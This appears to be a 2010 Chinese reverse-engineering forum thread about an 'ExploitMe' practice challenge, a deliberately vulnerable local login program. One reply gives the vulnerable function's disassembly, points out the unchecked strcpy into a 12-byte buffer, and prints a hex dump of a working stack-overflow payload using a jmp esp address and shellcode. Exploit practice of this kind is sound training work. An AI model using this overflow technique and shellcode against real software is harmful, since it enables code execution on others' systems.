whypro 发表于 2010-5-12 11:49:46

ExploitMe

本帖最后由 whypro 于 2010-5-23 14:07 编辑

以前我们常玩CrackMe这回我们试试ExploitMe
这是一个本地版练习溢出的测试题。
本程序模拟终端登陆时的情况,
所带password.txt文件,是用来输入密码。


正常在password.txt输入1234567会显示如下:


我给个溢出成功的图:


[ 本帖最后由 whypro 于 2010-5-16 21:40 编辑 ]

曹无咎 发表于 2010-5-28 17:15:29

看看。。。

whypro 发表于 2010-5-28 18:19:03

本帖最后由 whypro 于 2010-5-28 18:28 编辑

如果ls能搞掉这个我送出50分,但必须有溢出文章!

[email protected] 发表于 2010-6-1 14:53:19

https://www.chinapyg.com/viewthread.php?tid=56813&extra=page%3D1

是否合格?

elyt 发表于 2010-7-13 06:37:35

; Attributes: bp-based frame
; int __cdecl sub_401020(char *Str1)
sub_401020 proc near

var_4C= byte ptr -4Ch
Dest= byte ptr -0Ch       ;栈大小为 0xc
var_4= dword ptr -4
Str1= dword ptr8

push    ebp
mov   ebp, esp
sub   esp, 4Ch
push    ebx
push    esi
push    edi
lea   edi,
mov   ecx, 13h
mov   eax, 0CCCCCCCCh
rep stosd
push    offset Str2   ; "1234567"
mov   eax,
push    eax             ; Str1
call    _strcmp
add   esp, 8
mov   , eax
mov   ecx,
push    ecx             ; Source
lea   edx,
push    edx             ; Dest大小 0xc
call    _strcpy         ; 很明显的 _strcpy
add   esp, 8
mov   eax,
pop   edi
pop   esi
pop   ebx
add   esp, 4Ch
cmp   ebp, esp
call    __chkesp
mov   esp, ebp
pop   ebp
retn
sub_401020 endp

///////////////////////////////////////
push    ecx             ; Source
lea   edx,
push    edx             ; Dest大小 0xc
call    _strcpy         ; 很明显的 _strcpy

当 Source 长度大0xc时发后溢出, 最简单的shellcode形式:
          buf + ebp + jmp esp + shellcode
长度计算:0xc + 0x4 + 0x4 + shellcode

Offset      01234567   89ABCDEF
00000000   31 32 33 34 35 36 37 3839 30 61 62 63 64 65 66   1234567890abcdef
00000010   12 45 FA 7F 33 DB 53 682E 50 59 47 68 39 36 40   .E?3跾h.PYGh96@
00000020   39 8B C4 53 50 50 53 B8EA 07 D5 77 FF D0         9嬆SPPS戈.誻

whypro 发表于 2010-7-14 06:22:55

过来顶一下!

曹无咎 发表于 2010-12-6 16:05:32

哈哈,jmp esp搞定退出异常

whypro 发表于 2010-12-12 10:24:54

呵呵,祝贺曹大大!
页: [1]
查看完整版本: ExploitMe